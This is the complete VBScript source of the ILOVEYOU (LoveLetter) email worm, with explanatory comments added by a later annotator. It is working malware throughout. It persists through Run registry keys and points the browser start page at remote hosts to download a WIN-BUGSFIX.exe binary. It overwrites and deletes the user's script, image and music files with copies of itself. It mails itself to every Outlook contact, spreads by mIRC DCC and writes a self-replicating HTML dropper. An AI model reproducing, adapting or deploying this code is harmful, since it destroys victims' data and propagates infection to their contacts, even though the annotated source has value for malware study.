REM  barok -loveletter(vbe) <i hate go to school>
REM 			by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
REM
REM format and comments added by Sylvain Robitaille 2000/05/04

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0

REM we read in a copy of ourself, which we'll write into other files
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

main()

sub main()
  On Error Resume Next
  dim wscr,rr
  set wscr=CreateObject("WScript.Shell")

  REM disable timeout
  rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
  if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
  end if

  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)

  REM copy ourself into the WINDOWS and WINDOWS\SYSTEM directories
  Set c = fso.GetFile(WScript.ScriptFullName)
  c.Copy(dirsystem&"\MSKernel32.vbs")
  c.Copy(dirwin&"\Win32DLL.vbs")
  c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

  REM here's where the fun stuff really happens:
  REM run at boot-time from the registry
  regruns()
  REM create .HTM page to cause the victim to run us that way
  html()
  REM email copies of ourself to victim's friends
  spreadtoemail()
  REM infect numerous files, so the victim will be sure to run us at
  REM some point.
  listadriv()
end sub

REM run at boot-time from the registry
sub regruns()
  On Error Resume Next
  Dim num,downread
  
  REM setup to run on boot
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
  
  REM where do we store downloaded files? (default to c:\)
  downread=""
  downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
  if (downread="") then
  downread="c:\"
  end if
  
  REM Set the Explorer start page to any one of four places to get this
  REM additional binary.
  if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    end if
  end if
  
  REM If we have our binary, set it up to run at boot-time, and reset the
  REM Explorer start page.
  if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
  end if
end sub

REM infect numerous files, so the victim will be sure to run us at
REM some point.
sub listadriv
  On Error Resume Next
  Dim d,dc,s
  
  REM Go through all the drives we can find on the system, and infect
  REM selected files.
  Set dc = fso.Drives
  For Each d in dc
    If d.DriveType = 2 or d.DriveType=3 Then
      folderlist(d.path&"\")
    end if
  Next
  listadriv = s
end sub

sub infectfiles(folderspec)  
  On Error Resume Next
  dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
  
  set f = fso.GetFolder(folderspec)
  set fc = f.Files

  REM here we're going to infect a number of files with certain
  REM extensions:
  for each f1 in fc
    ext=fso.GetExtensionName(f1.path)
    ext=lcase(ext)
    s=lcase(f1.name)

    REM other VBScript files:
    if (ext="vbs") or (ext="vbe") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

    REM JavaScript? Others?
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename the file to "basename.vbs"
      bname=fso.GetBaseName(f1.path)
      set cop=fso.GetFile(f1.path)
      cop.copy(folderspec&"\"&bname&".vbs")
      fso.DeleteFile(f1.path)

    REM Jpegs. People always send Jpegs as attachments.
    elseif(ext="jpg") or (ext="jpeg") then
      set ap=fso.OpenTextFile(f1.path,2,true)
      ap.write vbscopy
      ap.close

      REM rename to filename.jpg.vbs
      set cop=fso.GetFile(f1.path)
      cop.copy(f1.path&".vbs")
      fso.DeleteFile(f1.path)

    REM mp3's. That should ensure great replication!
    elseif(ext="mp3") or (ext="mp2") then
      set mp3=fso.CreateTextFile(f1.path&".vbs")
      mp3.write vbscopy
      mp3.close

      REM turn on execute attribute? (Does Windows have such a thing?)
      set att=fso.GetFile(f1.path)
      att.attributes=att.attributes+2
    end if

    if (eq<>folderspec) then

      REM if we happen to find mIRC installed, let's arrange to send
      REM copies of ourself over IRC.
      if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
        set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
        scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close
        eq=folderspec
      end if
    end if
  next  
end sub

sub folderlist(folderspec)  
  On Error Resume Next
  dim f,f1,sf
  set f = fso.GetFolder(folderspec)  
  set sf = f.SubFolders

  REM recurse through directories, infecting files.
  for each f1 in sf
    infectfiles(f1.path)
    folderlist(f1.path)
  next  
end sub

sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey,regvalue
end sub

function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
end function

function fileexist(filespec)
  On Error Resume Next
  dim msg
    if (fso.FileExists(filespec)) Then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function

function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExists(folderspec)) then
    msg = 0
  else
    msg = 1
  end if
  fileexist = msg
end function

REM email copies of ourself to victim's friends
sub spreadtoemail()
  On Error Resume Next
  dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreateObject("Outlook.Application")
  set mapi=out.GetNameSpace("MAPI")

  for ctrlists=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrlists)

    x=1
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
    if (regv="") then
      regv=1
    end if
  
    if (int(a.AddressEntries.Count)>int(regv)) then
      REM cycle through addresses in the address book, and send copies of
      REM ourself.
      for ctrentries=1 to a.AddressEntries.Count
        malead=a.AddressEntries(x)
        regad=""
        regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
        if (regad="") then
          set male=out.CreateItem(0)
          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
        end if
        x=x+1
      next
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
    end if
  next
  Set out=Nothing
  Set mapi=Nothing
end sub

REM This appears to create a .HTM file in the WINDOWS\SYSTEM directory,
REM which seems to start the whole process again, (assuming the victim
REM enables ActiveX so it can run.
sub html
  On Error Resume Next
  dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

  dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
  "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
  "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
  "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
  "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
  "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
  "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
  "<?-?BODY><?-?HTML>"&vbcrlf& _
  "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
  "<!--?-??-?"&vbcrlf& _
  "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"&vbcrlf& _
  "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
  "<!--"&vbcrlf& _
  "on error resume next"&vbcrlf& _
  "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
  "aw=1"&vbcrlf& _
  "code="

  dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
  "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
  "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
  "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
  "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
  "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
  "wri.write code4"&vbcrlf& _
  "wri.close"&vbcrlf& _
  "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
  "if (err.number=424) then"&vbcrlf& _
  "aw=0"&vbcrlf& _
  "end if"&vbcrlf& _
  "if (aw=1) then"&vbcrlf& _
  "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
  "window.close"&vbcrlf& _
  "end if"&vbcrlf& _
  "end if"&vbcrlf& _
  "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
  "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
  "?-??-?-->"&vbcrlf& _
  "<?-?SCRIPT>"

  dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
  dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
  dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
  dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
  dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
  dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
  dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
  dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")

  set fso=CreateObject("Scripting.FileSystemObject")
  set c=fso.OpenTextFile(WScript.ScriptFullName,1)
  lines=Split(c.ReadAll,vbcrlf)
  l1=ubound(lines)

  for n=0 to ubound(lines)
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
    if (l1=n) then
      lines(n)=chr(34)+lines(n)+chr(34)
    else
      lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
    end if
  next

  set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
  b.close
  set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
  d.write dt5
  d.write join(lines,vbcrlf)
  d.write vbcrlf
  d.write dt6
  d.close
end sub